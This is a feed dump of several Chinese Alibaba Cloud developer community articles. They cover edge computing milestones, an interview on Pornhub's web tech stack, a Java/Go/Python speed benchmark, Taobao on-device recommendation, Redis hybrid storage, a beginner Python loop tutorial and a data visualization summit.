        阿里云定义边缘计算是基于场景的城市计算。未来将围绕边缘芯片/设备、边缘计算平台(操作系统)、城市边缘中间件、城市边缘应用及服务这四个边缘技术栈进行布局,进一步与产业上下游的伙伴们深度融合,找到更丰富的、面向多行业的边缘应用场景,为客户打造离用户更‘近’的计算,进而承载更多新型的5G城市计算应用场景落地。点击查看详细新闻。

        图5.JPG

        9月 牵头编制《信息技术云计算边缘云计算通用技术要求(征求意见稿)》

        该标准明确对边缘云计算系统的基础设施、服务能力、统一管控、接口、安全等通用技术要求进行统一的厘清与规范,用于指导“边缘云计算”技术和产品研发、服务交付。这是阿里云继2018年12月牵头制定业界首份《边缘云计算技术与标准化白皮书》后再次助力行业标准化升级。点击查看详细新闻。

        图6.JPG

        9月 发布边缘存储、边缘智能视频云

        阿里云发布边缘存储、边缘视频云全新服务,结合此前的边缘节点服务、边缘容器,从底层资源能力、计算服务、PaaS平台、行业应用贯穿打通,全面升级边缘操作系统及分布式计算分发平台,形成体验式通用服务闭环,边缘计算再次向场景化服务迈出重要一步。点击查看ENS产品详情。

        11月 边缘节点服务ENS SLA提升至99.9%

        随着边缘节点服务场景持续拓展,ENS客户规模不断扩大,产品对客户的SLA承诺也不断加码。ENS依托稳定性三板斧,即 严格的机房和设备上线标准、全链路服务监控体系、故障快速响应恢复体系,实现99.9%稳定运营超过半年,并在11月正式升级官网SLA至99.9%。

        12月 荣获最佳智能边缘计算技术创新平台

        2019亚太内容分发大会,阿里云凭借在边缘计算领先的技术布局与创新方案,荣获“最佳智能边缘计算技术创新平台”奖项。点击查看详细新闻。

        图8.jpg

        12月 首批通过边缘云标准符合性测试

        2019中国云计算标准与应用大会上,阿里云获得由中国电子技术标准化研究院颁发的首批《边缘云标准符合性测试证书》。这是业内权威机构首次开展边缘云领域的测评认证,对于产业上下游和技术服务商具有重要指导意义。期间,阿里云积极配合中国电子技术标准化研究院完成了全部用例的编制,并顺利通过测试验收。其用例包含基础设施、基础设施服务能力、平台能力、应用服务能力、统一管控、安全要求等多个方向,获得权威机构的一致认可。点击查看详细新闻。

        图9.jpg

        以上就是阿里云边缘计算2019年度盘点。

        2020年是崭新的一年,阿里云边缘计算将继续秉承“融合、开放、联动”的理念,持续与产业伙伴连接,用技术升级大众娱乐,让科技赋能城市变革,用“离用户更近的计算”加速产业在5G万物智联之路上狂奔。

        欢迎加入ENS产品答疑钉钉群:21740823,了解更多资讯。

        ]]>
        成人网站 Pornhub 技术栈首度公开-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 成人网站在推动 Web 发展方面所起到的作用无可辩驳。从突破浏览器的视频能力限制,到利用 WebSocket 推送广告(防止被广告拦截器拦截),你必须不断想出各种聪明的办法,让自己处在 Web 技术创新的最前沿。

        最近,我有幸采访了大型成人网站 Pornhub 的一位 Web 开发工程师,了解了相关的开发技术、Web API 的改进,以及作为成人网站开发工程师是一种怎样的体验。

        注意:因为成人网站这个行业竞争相当激烈,有一些问题他们不能回答我,这一点我表示理解。

        成人网站需要显示大量的图像内容,在开发过程中,你是否使用了大量的图片和视频占位符?开发过程中的内容体验和最终产品差距大吗?

        实际上,在开发这个网站时我们并没有使用占位符!归根结底,代码和功能才是最重要的东西,至于界面什么的,到了这个时候我们已经很熟悉了。刚开始时有一点难度,但很快我们就适应了。

        在开发过程中,你们是如何模拟直播视频流和第三方广告脚本的?它们都是很重要的资源。

        播放器被分为两个组件,基本组件实现了核心功能,用于触发事件。开发是单独进行的,在进行集成时,我们需要用到第三方脚本和广告,这样可以尽早发现问题。对于一些特殊情况,我们会与广告主合作,通过手动的方式来触发一些随机事件。

        一般页面上至少会有一个视频、一些 GIF 广告、一些直播预览和其他视频的缩略图。你是如何测定页面性能的?以及如何尽量提升页面的性能?> 我们使用了一些测评系统。

        **1.播放器会将视屏播放的性能和用户播放情况发送给我们;
        2.我们使用了第三方的 RUM 系统;
        3.我们使用了 WebpageTest,这样就可以知道在某个时段发生了什么事情。**

        我假设播放器是前端的一个最重要也最复杂的功能。在视频前面插入广告、标记视频的关键部分、改变播放速度,等等,你是如何保持播放器的性能、功能和稳定性的?

        我们有一个专门负责开发播放器的团队,他们的首要任务是持续地监控播放器的性能。我们用上了所有可用的工具:浏览器性能工具、WebpageTest、性能指标,等等。每次在发布更新之前,我们都会进行一轮严格的 QA 来保证稳定性和质量。

        视频团队有多少专职开发人员?有多少前端开发人员?

        我只能说,如果从整个产品的规模来看,我们的团队规模算是中等的。

        在从事成人网站开发期间,你看到前端领域经历了哪些发展?有哪些新的 Web API 给你带来很大的帮助?

        我看到前端技术在很多方面都有进步。

        1.从使用纯 CSS 到使用 LESS 和 Mixin,再到使用灵活的栅格系统和图像标签来适应不同的分辨率和屏幕大小;
        2.jQuery 和 jQueryUI 逐渐淡出了我们的视线,我们回到了更加面向对象的纯 JavaScript 编程。一些框架在某些场景下也起到非常有趣的作用;
        3.我们很喜欢新的 IntersectionObserver API,用它来加载图像非常高效;
        4.我们还使用了画中画 API,让视频漂浮在页面上,不过现在还在争取用户对这个想法的反馈。

        展望未来,有没有哪些 Web API 是你希望发生变化、改进的?或者出现新的 Web API?> 我们希望这些 API 能够发生变化或改进:Beacon、WebRTC、Service Worker 和 Fetch。

        1.Beacon:在 iOS 上有些问题,对 pageHide 事件支持得不太好;

        2.Fetch:没有下载进度,也没有提供拦截请求的方式;

        3.WebRTC:在进行直播时,如果分辨率不够大就会有所限制;

        4.Service Worker:调用 navigator.serviceWorker.register 不会被 Service Worker 的 Fetch 事件处理器拦截到。

        WebVR 在过去几年已经有所改进。目前来看,它的作用有多大?成人网站会投入多大精力来支持 VR 内容?Pornhub 的 WebVR 有涉及触觉技术吗?

        我们正在研究如何将 WebXR 应用在沉浸式空间场景中。作为最大的内容分发平台,我们有必要为用户提供让他们能够按照自己的方式来体验网站内容的机会。但我们还在探索,在使用这些新媒体时,内容和平台应该是什么样子。

        我们是支持 VR 、计算机视觉和虚拟主播的一个主要平台,我们将继续推动新技术的发展。

        每个页面上都有不同类型的媒体和内容,对于桌面版或移动版来说,最需要考虑的东西是什么?

        我们主要考虑操作系统和浏览器对功能方面的限制。比如,iOS 和 Android 在访问权限和功能方面就非常不一样。

        一些 iOS 设备不允许在全屏时使用自定义播放器,它们会强制使用原生的 QuickTime 播放器。而 Android 则给了我们完全的控制权限,可以在全屏时使用我们的播发器。

        另一个例子是 HLS 视频流,IE 和 Edge 对 HLS 视频流质量非常挑剔,所以我们需要控制视频的质量,否则在播放时就断断续续或者出现重影。

        目前 Pornhub 可以支持的最低浏览器版本是哪个?现在还支持 IE 吗?

        我们支持 IE 很长时间了,但最近不支持 IE 11 之前的版本。另外,我们也停止支持 Flash 播发器。我们现在主要支持 Chrome、Firefox 和 Safari。

        **可以分享一下 Pornhub 的技术栈吗?从服务器端到前端,你们使用了哪些库?
        基本上,我们使用了这些东西:**

        Nginx ;

        PHP ;

        MySQL ;

        Memcached / Redis 。

        其他技术还包括 Varnish、ElasticSearch、NodeJS、Go 语言、Vertica。

        前端方面,我们主要使用了纯 JavaScript。我们在逐步淘汰 jQuery,并开始使用框架,比如 Vue.js。

        在外行看来,成人网站的网页上一般充斥着各种视频缩略图、视频、直播和广告。从开发者的角度来看,是什么东西让一个成人网站变得与众不同?

        我们努力让每一个品牌都具备一定程度的独特性,不同的内容、界面体验和功能,还使用了很多不同的算法。

        在面试 Pornhub 时,你是怎么想的?你有犹豫过吗?如果有,又是怎么消除这种情绪的?

        我没有感到有什么不妥,毕竟这个挑战对我来说充满了吸引力。一想到有数百万人会用到我开发的东西,我就感到很兴奋。这个想法很快就得到了验证,当我开发的功能第一次上线时,我感到很自豪,我还叫我的朋友们也去看看!成人网站永远都不会消亡,它为我们提供了稳定的工作来源。

        与开发一般的网站相比,开发成人网站可能会有所不同。当你告诉你的朋友、家人和熟人自己在开发成人网站,你会觉得这是一种耻辱吗?你会犹豫告诉他们这些吗?

        我为自己开发的东西感到自豪,我身边的人都知道,也很喜欢它们。这也成了我们的茶余饭后的谈资,非常有意思。

        你也在其他地方开发过其他网站,在 Pornhub 的工作氛围有什么不同吗?

        这里的氛围非常轻松友好,我不觉得跟在其他地方有什么不同。

        作为前端开发人员,你需要与哪些团队密切接触?你们平常常用哪些交流方式?

        我们需要与后端开发人员、QA 和产品经理打交道。大部分时间我们会跑到各自的工位上讨论问题,其次是使用聊天工具(Microsoft Teams),然后是电子邮件。

        最后,作为一名在成人网站工作的开发工程师,你还有什么想要分享的吗?

        我非常高兴能够参与开发这个有如此大规模用户的产品。我们身处技术发展的最前沿,这让一切都变得有趣且颇具挑战性。

        后记

        这个采访很有启发性。我很惊讶他们在开发时居然没有使用图像。Pornhub 走在 Web 技术的最前沿——WebXR、WebRTC 和 Intersection Observer API。我也很高兴看到他们开始逐步淘汰 jQuery,因为现在的 Web API 很给力。

        我很想从他那里挖到更过有关技术和性能的细节,我敢肯定他们的源代码里有很多值得一学的东西。换了是你,你会想问哪些问题?

        原文链接

        ]]>
        未编译 Python 代码比 Go 慢 100 倍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文链接
        在我看来,编译型代码有两个明显的优势:

        每次修改代码都可以得到验证,甚至是在开始运行代码之前。

        更快的执行速度。根据具体情况,代码可能被编译成非常底层的运行指令。

        我之所以要写这篇文章,是想比较一下编译型代码的执行速度会比解释型快多少。

        因为我偏爱编译型编程语言,所以现在有个问题:我手头有很多感兴趣的代码,但它们都是用 Python 写的,我该怎么办?全部重写?部分重写?完全不重写?

        先入之见
        在这篇文章里,我通过比较 Java 、 Go 和 Python 在处理不同任务时的性能表现来验证我对它们的一些先入之见。首先是 Python,我正在考虑要不要把它替换掉。至于 Java,我已经是 20 多年的粉丝了,一路看着它成熟,不管是性能还是功能都在变得更好。最后是 Go,我两年前才开始用它,但真的很喜欢它。虽然 Go 相比 Java 还缺失了一些特性,比如类继承,但它的语法简洁而紧凑,编译和执行速度都很快,生成的代码也很紧凑,还提供了优雅的 goroutine 来实现并发处理。

        以下是我的一些先入之见。

        编译型代码的执行速度比解释型代码要快一个数量级。之前,我比较了使用 JIT 和不使用 JIT 编译 Java 代码所获得的性能,它们的比率大概是 30 比 1。

        Go 的运行速度比 Java 要快一点。我记得在之前的工作中做过一些测试,发现 Go 在处理某些任务时要比 Java 快 30%,但最近一些文章又说 Java 比 Go 快。

        先来测试一把我在之前的一篇文章中通过一些代码比较过 JIT 的性能,后来使用 Python 和 Go 也实现了一遍。这段代码计算 100 的 Fibonacci 数值,每一轮计算 50 次,并打印执行时间(纳秒),共计算 200 轮。代码可以在 GitHub 上找到。

        三种语言的输出结果看起来像这样:

        复制代码

        Java   Go    Python
        ...
        122    123   11683
        119    107   11539
        123    104   11358
        120    115   11926
        119    118   11973
        120    104   11377
        109    103   12960
        127    122   15683
        112    106   11482
        ...
        

        平均值是这样:

        复制代码

        Java   Go    Python
        130    105   10050
        

        可以看到,在计算 Fibonacci 数值时,Java 比 Go 要慢一些,大概慢 24%,而 Python 几乎慢了 100 倍,也就是 9458%。

        这个结果验证了我最初对 Java 和 Go 的判断,但让我感到吃惊的是 Python 的表现,它慢得不只是一个数量级,是两个!

        我在想 Python 为什么会花这么多时间。

        我首先想到的是,很多人关注的是 Python 的易用性,并通过牺牲性能来快速获得处理结果。我相信数据科学家们都是这么想的。况且有这么多现成的库可以用,为什么要去找其他的?迟早会有人优化它们的。

        第二个原因是很多人没有比较过不同的实现,因为很多初创公司在激烈的竞争中忙于做出产品,根本无暇顾及什么优化不优化。

        第三个原因,有一些方式可以让同样的 Python 代码跑得更快。

        把 Python 代码编译一下会如何
        在做了一些调研之后,我决定使用 PyPy 测试一下相同的 Python 代码。PyPy 是 Python 的另一个实现,它本身就是使用 Python 开发的,包含了一个像 Java 那样的 JIT 编译器。跟 Java 一样,我们需要忽略初始的输出,并跳过 JIT 编译过程,得到的结果如下:

        复制代码

        Java   Go    Python    PyPy
        130    105   10050     1887
        

        PyPy 的平均响应速度比 Python 快 5 倍,但仍然比 Go 慢 20 倍。

        更多的测试
        以上的测试主要集中在数值的计算上,如果回到最开始所说的 Python 代码,我还需要关注:

        Kafka、HTTP 监听器和数据库的 IO;

        解析 JSON 消息。

        总结
        本文通过执行简单的数学运算得出这样的结论:Go 的执行速度比 Java 快一些,比解释运行的 Python 快 2 个数量级。

        基于这样的结果,我个人是不会使用 Go 来替换 Java 的。

        另一方面,在高负载的关键任务上使用 Python 不是一个好的选择。如果你正面临这种情况,可以考虑使用 Python 编译器作为短期的应急方案。

        在决定是否要重写 Python 代码时,还需要考虑到其他因素,比如 IO 和 CPU 方面的问题,但这些超出本文的范围了。

        有人提醒我,使用 Go 和 Java 的 64 位整型只能准确计算出 92 的 Fibonacci 数值,再往后会出现溢出(译者:所以代码后来改成了计算 90 的 Fibonacci 数值)。但即使是这样,本文的结论仍然是有效的。

        ]]>
        嘘,这是手淘双11 GMV 暴涨的秘密-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者 | 莫凌、桑杨、明依

        背景

        现状与解决方案

        手淘上以列表推荐形式为主的业务场景有不少,以手淘信息流为例,进入猜你喜欢场景的用户,兴趣点常常是不明确的,用户浏览时往往没有明确的商品需求,而是在逛的过程中逐渐去发现想买的商品。而推荐系统在用户逛到买的过程中,往往会下发并呈现不同类型商品让用户从中挑选,推荐系统这个过程中会去捕捉用户的兴趣变化,从而推荐出更符合用户兴趣的商品。然而推荐系统能不能做到用户兴趣变化时立刻给出响应呢?

        推荐系统以往的做法都是通过客户端请求后触发云端商品排序,然后将排序好的商品下发给用户,端侧再依次做商品呈现。这样存在下面两个问题:

        云端推荐系统对终端用户推荐内容调整机会少,往往都在分页请求时,而简单请求并不能灵活做内容的增删改。
        云端推荐系统不能及时获取到用户当前时刻的偏好意图,快速给出反馈。

        我们总结发现,目前推荐系统的弊端是,用户偏好的变化与推荐系统对用户感知和对内容的调整时机并不能匹配,会出现推荐的内容并非用户当前时刻想要的,用户浏览和点击意愿都会下降。那么怎样能够让推荐系统及时感知到用户偏好并及时的给出用户想要的内容呢?

        我们先透过现象看本质,以上问题的本质在于推荐系统和用户交互过程中的实时性差,以及决策系统可调整性差。实时性差体现在两个方面,推荐系统对终端用户的感知实时性差以及对用户的干预实时性差。而决策系统可调整性差,体现在决策系统对用户内容的调整时机依赖端侧的固定规则请求,可调整的内容局限于当前次下发的内容。如果我们能够解决实时性问题,推荐系统能够实时感知用户偏好,并在任何时机实时调整用户所见内容,推荐的内容可以更符合用户当前的偏好;如果我们能够解决决策系统可调整性差问题,推荐系统可以决定合适的时机去调整用户内容,可以决定用更优的方式去调整具体的内容。那么解决的方案是什么呢?

        1201.jpg

        我们在手淘信息流中引入机器学习和深度神经网络模型,结合端侧用户特征,在端侧持续感知用户意图,实时决策并实时反馈结果给用户,这样解决了实时性差以及决策系统可调整性差的问题。我们把这个解决方案称之为端智能。

        端智能带来的改变

        端智能的本质是“端”+“智能”。首先“智能”不是一个新鲜的东西,“智能”不管是在云端或终端,解决的问题是通过机器学习数据的内在机制并推理出最终结论;“端”解决的问题是将”智能“工程化并落地到具体的应用场景,“端”有机的整合端侧数据以及云端下发内容,决定何时触发“智能”做决策,最终决定怎样给用户以反馈。

        端智能带来的改变,则是让端上具备了“独立思考”的能力,这让部分决策和计算不再依赖于云端,端侧可以更实时、更有策略的给出结果。说到实时性,5G时代的到来,其低时延特性极大的降低了端和云的交互时间,但这并不影响我们利用端智能实现更低成本的决策和快速响应,反而对于端智能来说,好处是能和云端结合的更紧密。另外由于在端侧能够秒级感知用户意图做出决策,产品和用户贴的更近了,这催生了更多实时性的玩法,产品将不再局限于要到固定的时机如分页请求让云端去给到新的内容反馈,而是思考,当用户表达出来特定的用户意图时,产品应该如何提供与意图相匹配的内容。

        端智能与传统差异比较

        尽管端智能带来了很多好的改变,但这里依然需要强调一点,并不是说有了端智能就不再需要云智能,怎样做到云&端协同智能才是未来。

        端智能的优势在于:

        端侧有着丰富的用户特征和触点,有着更多的机会和条件去做决策
        实时性高,在端侧处理可节省数据的网络传输时间,节省的时间可用于更快的反馈结果
        节省资源,在端侧处理,利用端侧算力和存储空间,可以节省大量的云端计算和存储资源
        隐私性好,从产生数据到消费数据都在端侧完成,避免传输到云端引起隐私泄露风险

        端智能的不足在于:

        设备资源有限,端侧的算力、电力、存储是有限的,不能做大规模高强度的持续计算。
        算法规模小,端侧算力小,而且单用户的数据,在算法上并不能做到最优
        用户数据有限,端侧数据并不适合长期大量存储,端侧可用数据有限

        云智能的优势在于:

        大数据,云端可以通过长期大量的来自不同人群的数据进行计算
        设备资源充足,云计算的算力、电力、存储都可以根据需求进行配置
        算法规模大,可以通过足够的大规模模型,计算出最优解

        云智能不足在于:

        响应速度慢,受传输带宽影响,不能稳定提供较高的响应速度
        用户感知弱,端侧产生的数据同步到云端,数据量限制和传输时间的约束都会削弱云端对用户的感知

        从以上云智能和端智能的对比可以看出,端智能适合于依赖端侧用户触点的小规模低时延的计算,而云智能更适合中长期数据大规模计算。同时,端智能往往需要云端提供的长期特征及内容,而云智能也往往需要端上的特征和丰富的触发点,两者优势互补,才能发挥出更好的效果。

        端智能基础设施建设

        高楼起于平地,打造端智能这幢摩天大楼需要很多基础设施,剥除各种各样边角料和锦上添花的东西后,我们认为构成支撑起端智能体系的骨架组成部分主要有数据、端计算、端计算引擎、端智能决策框架、算法研发平台。其中,端侧数据 、端计算、端计算引擎这三块的作用是实时感知用户,计算出贴合用户的结果;端智能决策框架是触达用户的通道,通过端上实时智能决策衔接用户意图和端计算,最后通过一定的干预手段展现到用户眼前;算法研发平台是开发过程主要接触的平台,能有效提升研发效率。通过一个简单的示意图也许能更好的理解这五大块:

        1202.jpg

        数据-BehaviX

        无论计算是发生在云端还是终端,数据始终是执行所有计算的基本要素之一,端计算的本质也是计算,数据当然也是他的要素之一。在淘宝或者其他阿里系App里我们已经有很多数据沉淀,这些数据包括但不限于商品、商品特征、用户特征等。这些数据同样可以作为端计算的输入来源,但如果只有这些,端计算和云计算相比在数据上似乎没有什么明显优势了,所以我们需要回过头看下端计算作为端智能的重要部分,他的在数据上的核心优势是什么?端计算运行在端上,天然能获取端上的数据,而且是实时获取。我们希望这部分数据是和已有数据是互补的、对端计算是有价值的,端计算的目的之一是千人千面,端上丰富的用户特征,能体现当前用户的实时意图。所以我们在构建了端侧用户特征数据中心BehaviX。

        BehaviX作为整个端智能的数据基础,提供给算法特征数据作为模型数据输入源,支持了特征实时同步云端,让云端能够秒级感知到端侧用户特征,提供了算法基于端侧用户特征数据做意图分析的能力。

        端智能决策框架-BehaviR

        从用户角度来看,用户感知到的不是一堆数据和计算而是能够被感知到的结果,因此,即使计算出来的结果无比贴合用户意图,如果无法及时触达用户也是无用功。触达用户方式多种多样,我们需要基于实际场景放开手大胆探索,合理的产品设计会让用户觉得是在和一个“智能”的App交流,反之,不合理的产品设计会打扰用户、对用户造成困扰。从技术角度来说,我们要设计和做的其实是一条触达通道,通过感知用户触点,我们能根据运营规则配置或者本地模型决策出此时要给用户什么类型的反馈,然后通过下面要讲述的端计算能力计算出贴合用户的结果并展示给用户,以此将端计算和用户连接在一起。

        端智能决策框架能简化业务方接入端智能流程,帮助业务方真正做到实时感知、及时干预。

        端计算-EdgeRec

        端计算简单理解起来可以认为是跑在端上的一段逻辑,这段逻辑可以是一个预置的Native任务,也可以是一个脚本,当然,在最终我们希望他是一个算法模型。算法模型是目前做到千人千面的有效手段之一,其他优势不再累述了,详见下面的友情链接。

        回到这里的主角EdgeRec-边缘计算算法,他在在端上实时建模了用户的异构特征序列,为端上决策提供通用的用户状态表达。通过多任务学习,共享通用的用户状态表达,在端上建模多种决策模型。另外,边缘计算算法SDK也提供端上深度学习算法开发的通用解决方案,如:端上深度学习模型库、端上模型拆分部署、端上模型版本控制、端上样本生成等。

        端计算引擎-Walle&MNN

        端计算引擎是端智能体系中重要的一环,是算法模型的基础环境。无论是iOS还是Android目前都提供了一套环境,但两端差异性比较大,限制也比较多。构建一套端计算引擎的成本是非常高的,但长远来看统一两端引擎、抹平差异是有非常有必要的。Walle和MNN作为当前我们端计算引擎很好地做到了这一点。

        Walle是端上整体的Runtime,他为算法的Python脚本、深度模型以及Jarvis的EFC、ESC等特征样本计算库提供运行环境,另外也为BehaviX管理的基础数据提供存储服务。

        MNN 是一个轻量级的深度学习端侧推理引擎,核心解决深度神经网络模型在端侧推理运行问题,涵盖深度神经网络模型的优化、转换和推理,其前身为 AliNN。

        算法研发平台:Jarvis

        算法模型的研发并不是简单地在本地IDE写一份代码那么简单,我们通常需要理论调研、算法开发、模型训练、参数调优、线上验证等等步骤,本地环境是远远不够的,所以算法研发平台的存在能帮助算法同学更高效、更专注地进行研发工作。另外,端智能要出结果,一定是多团队通力合作的结果,多团队合作仅靠口头沟通是远远不够的,我们需要一套合理的流程去简化和规范各项工作,因此,在算法研发平台的基础之上我们仍旧需要一个一站式平台。

        Jarvis提供一站式的开发、调试、验证、AB测试、发布、监控平台,与算法同学共建一起打造了端上的特征计算、样本计算等基础库。

        整体流程图

        我们构建了端智能的五个基础设施,通过端上调度系统,将整个端智能技术体系串联起来,总体来说分为用户触达和用户感知部分。用户触达部分包括端上调度和端上决策,端上调度提供和业务的直接对接,端上决策由端上调度系统在合适的时候拉起本地算法计算;用户感知部分则对用户特征进行标准化端上用户特征,提供端侧计算的数据输入。

        1203.jpg

        数据效果

        从年初信息流端智能立项以来,我们经过最开始的小流量实验,效果逐渐优化,大半年的不断探索试错,信息流端智能于9月中旬在首页猜你喜欢场景全量。双十一当天也取得了不错的业务效果,对商品推荐的准确度提升,信息流GMV和点击量都大幅提升。其实这只是信息流在端智能的开始,相信后面更深入的优化探索,我们将会取到更好的效果。

        总结

        从我们以往的经验来看,端侧做的更多的是将云端内容以具体的形式呈现给用户。当端侧也具备了感知用户意图并智能做出决策时,端侧的能力就不再局限于“呈现”,端侧也可以”思考“。业务可以利用端侧”思考“能力,将以往在云端解决起来比较困难的问题放到端上去解决,如云端决策实时性问题、大数据量上报云端分析的资源消耗问题;可以结合端侧本身的特性,如传感器、相机、UI呈现等,去思考如何去整合用户特征、数据、端侧算法去大胆尝试找到新的突破口。

        ]]>
        谁说Redis数据必须全部存储到内存?Redis混合存储实例看过来!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        Redis 混合存储实例是阿里云自主研发的兼容Redis协议和特性的云数据库产品,混合存储实例突破 Redis 数据必须全部存储到内存的限制,使用磁盘存储全量数据,并将热数据缓存到内存,实现访问性能与存储成本的完美平衡。

        作者:张友东,阿里云数据库高级技术专家

        架构及特性

        image.png

        命令兼容

        混合存储兼容绝大多数 Redis 命令,与原生 Redis 相比,如下命令不支持或受限制;不支持的主要原因是考虑到性能,如业务中有使用到,请提交工单。

        image.png

        选型指南 - 场景
        image.png

        选型指南 - 规格
        选择混合存储实例时,需要选择合适的【内存配置 + 磁盘配置】;磁盘决定能存储的数据总量,内存决定能存储的热数据总量,实例生产时会根据存储的规格配置选择合适的CPU资源配置,目前暂不支持自定义CPU核数。

        比如【64GB内存 + 256GB磁盘】实例,意思是实例最多能存储 256GB 的数据(以KV存储引擎的物理文件总大小为准),其中 64GB 数据可以缓存在内存。

        内存选型建议:Redis 混合存储为保证最大程度的兼容 redis 原生访问协议,要求所有的key必须常驻内存,value 可以根据冷热读来自动决定存储在内存还是磁盘,所以内存空间必须要足以存储所有的key、以及对应的元信息。

        image.png

        磁盘选型建议:因 Redis 数据存储到 KV 存储引擎,每个key都会额外元数据信息,存储空间占用会有一定的放大,建议在磁盘空间选择上,留有适当余量,按实际存储需求的 1.2 - 1.5倍预估。

        案例1:用户A使用Redis Cluster 存储了 100GB 的数据,总的访问QPS不到2W,其中80%的数据都很少访问到。用户A 可以使用 【32GB内存 + 128GB磁盘】 混合存储实例,节省了近 70GB 的内存存储,存储成本下降50%+。

        案例2:用户B在IDC自建 Pika/SSDB 实例,解决Redis存储成本高的问题,存储了约400GB的数据,其中活跃访问的在10%左右,集群运维负担很重,想迁移至云数据库;用户B可以使用【64GB内存 + 512GB磁盘】混合存储实例,来保证免运维的同时,服务质量不下降。

        性能指标

        Redis 混合存储的性能与内存磁盘配比,以及业务的访问高度相关;根据规格配置及业务访问模式的不同,简单 set/get 的性能可在几千到数万之间波动。最好情况所有的访问都内存命中,性能与 Redis 内存版基本一致;最差情况所有的访问都需要从磁盘读取。

        测试场景:2000w key,value大小为1KB,25%的热key能存储在内存,get 请求测试数据如下:

        image.png

        应用场景

        • 视频直播类

        视频直播类业务往往存在大量热点数据,大部分的请求都来自于热门的直播间。使用 Redis 混合存储型实例,内存中保留热门直播间的数据,不活跃的直播间数据被自动存储到磁盘上,可以达到对有限内存的最佳利用效果。

        • 电商类

        电商类应用有大量的商品数据,新上架的商品会被频繁访问,而较老的商品访问热度不高;使用 Redis 混合存储型实例,可以轻松突破内存容量限制,将大量的商品数据存储到磁盘,在正常业务请求中,活跃的商品数据会逐步缓存在内存中,以最低的成本满足业务需求。

        • 在线教育类

        在线教育类的场景,有大量的课程、题库、师生交流信息等数据,通常只有热门课程、最新题库题库会被频繁访问;使用 Redis 混合存储型,将大量的课程信息存储到磁盘,活跃的课程、题库信息会换入到内存并常驻内存,保证高频访问数据的性能,实现性能与存储成本的平衡。

        • 其他场景

        其他数据访问有明显冷热特性,对性能要求不高的场景均可使用Redis混合存储来降低存储成本。

        常见问题

        磁盘还有剩余空间,但内存先满了,导致写入报错 OOM error

        • 内存规格太小,导致内存空间不足以容纳所有key及其元数据信息,建议在控制台升级实例规格即可,增大实例内存。
        • key对应的value比较小,混合存储对于比较小的value(比如小于20byte),不会触发换出换出到磁盘,因为小的value换出到磁盘,在内存里还是会存储一些meta信息,最终导致换出到磁盘并不能腾出内存空间;这个问题混合存储内核在持续优化,尽量适应更多的应用场景。

        云数据库 Redis 版

        一种稳定可靠、性能卓越、可弹性伸缩的数据库服务。基于飞天分布式系统和全SSD盘高性能存储,支持主备版和集群版两套高可用架构。

        ]]>
        打印九九乘法表 | python从入门到精通:入门篇之十八-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第十七节:循环嵌套打印三角形星星阵

        循环嵌套练习题

        18.1 打印九九乘法表

        拿到题目先别着急答题,先来分析一下这道题到底要运用哪些“知识点”!
        观察一下,这个九九乘法表是不是和上节课的“三角形”阵是一样的框架呢,把每个公式当成一个整体,那就是一个九行的“三角形”阵,图形的高度确定了,那么外层的循环也就确定了。
        现在来看内层的循环,也就是图形的宽度怎么写,先将其当作是三角形来打印一次:

        i=0
        while i<9:
            j=0
            while j<i+1:
                print("* ",end=' ')
                j += 1
            print()
            i += 1

        执行结果为:
        image.png
        显然方向是对的,那么接下来将*换成公式:
        image.png
        第一行的内容是0开始的,是因为i和j的初始值为0,所以将i+=1j+=1放到循环体的前面来,先将i和j自增:
        image.png
        图形的宽度比之前多了一个1。在上一步骤里,先将i和j进行了自增,在内层循环里面的时候仍然是j<i+1,所以当外层循环执行一次,内层函数执行了一圈+1,才会导致这种情况发生,此时只需要将j<i+1改成j<i就好啦:
        image.png
        果然乘法表被大家找出来啦!可以自己多尝试几次,理解一下这个思考的过程。

        18.2 找出100以内的所有质数

        在之前的课程中咱们讲过如何判断一个数n为质数,首先引入了一个flag=True,然后用小于n的数去整除n,如果出现n%i==0,则证明可以整除,则不是质数。再返回来看这个问题,现在不是要求判断一个数字了,而是判断100以内的所有数字,那怎么能让程序判断完了一个数字之后再自动去执行下一个数字的判断呢,这就要用到循环了。首先搭建一个循环的框架,输出2~100的数字(从2开始是因为0不做判断,1既不是质数也不是合数):

        i=2
        while i<=100 :
            print(i,' ',end=' ')
            i+=1

        执行结果为:
        image.png
        后面的数字就不展示了。
        接下来就要去挨个判断这些数字是不是质数了,当判断是质数的时候再进行print输出。首先还是要引入一个flag,并且值为True,当用小于n的数去整除n,如果出现n%i==0,则不是质数,flag的值改为False,程序如下:

        i=2
        while i<=100 :
            flag = True
            j=2
            while j<i:
                if i%j==0:
                    flag=False
                j+=1
            if flag :
                print(i)
            i+=1

        执行结果为:
        image.png
        可以看到,所有的质数就被打印出来啦!

        ]]>
        第一届阿里云数据可视化峰会圆满落幕-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 12月23日,2019数据可视化年度峰会在阿里巴巴西溪园区白马山庄举行,峰会以“唤醒数据,看见未来”为主题,邀请著名专家学者及一线行业实践者结合自身实践与感悟,与现场业界来宾分享主题演讲。百余位业界KOL齐聚一堂,深入解读数据可视化研发生态,剖析可视化商业化应用的前景和机会,共同探讨了如何创建创新共赢的数据可视化环境。

        现场图1.jpg

        (现场的气氛可谓是热火朝天啊!还有站在后面的小伙伴,可谓是一票难求)

        没有抢到票的小伙伴看看会上都有哪些看点吧!

        前瞻数据可视化学术方向与技术构建

        中国科技创新2030“新一代人工智能”和“大数据”专项均将可视化和可视分析列为大数据智能急需突破的关键共性技术,可见国家对可视化领域的重视,以及可视化未来蓬勃的机会。目前数据可视化的产品以轻量级小数据可视化工具为主,产品底层技术特性与国外同类产品存在一定差距,所以目前重视大数据行业中可视化生态系统的培育以及基础理论与方法研究还是非常必要的。

        同济大学主任曹楠教授

        在《针对事件序列数据的可视化及应用》的演讲中,曹楠教授认为对大规模事件序列数据的可视分析与预测能够清晰的揭示用户行为的内在规律与因果关系,在网络安全、电子商务、智慧交通以及精准医疗等诸多领域拥有广泛的应用价值。

        lADPDgQ9rYdWvtzNDS_NF3A_6000_3375.jpg

        浙江大学博士梅鸿辉

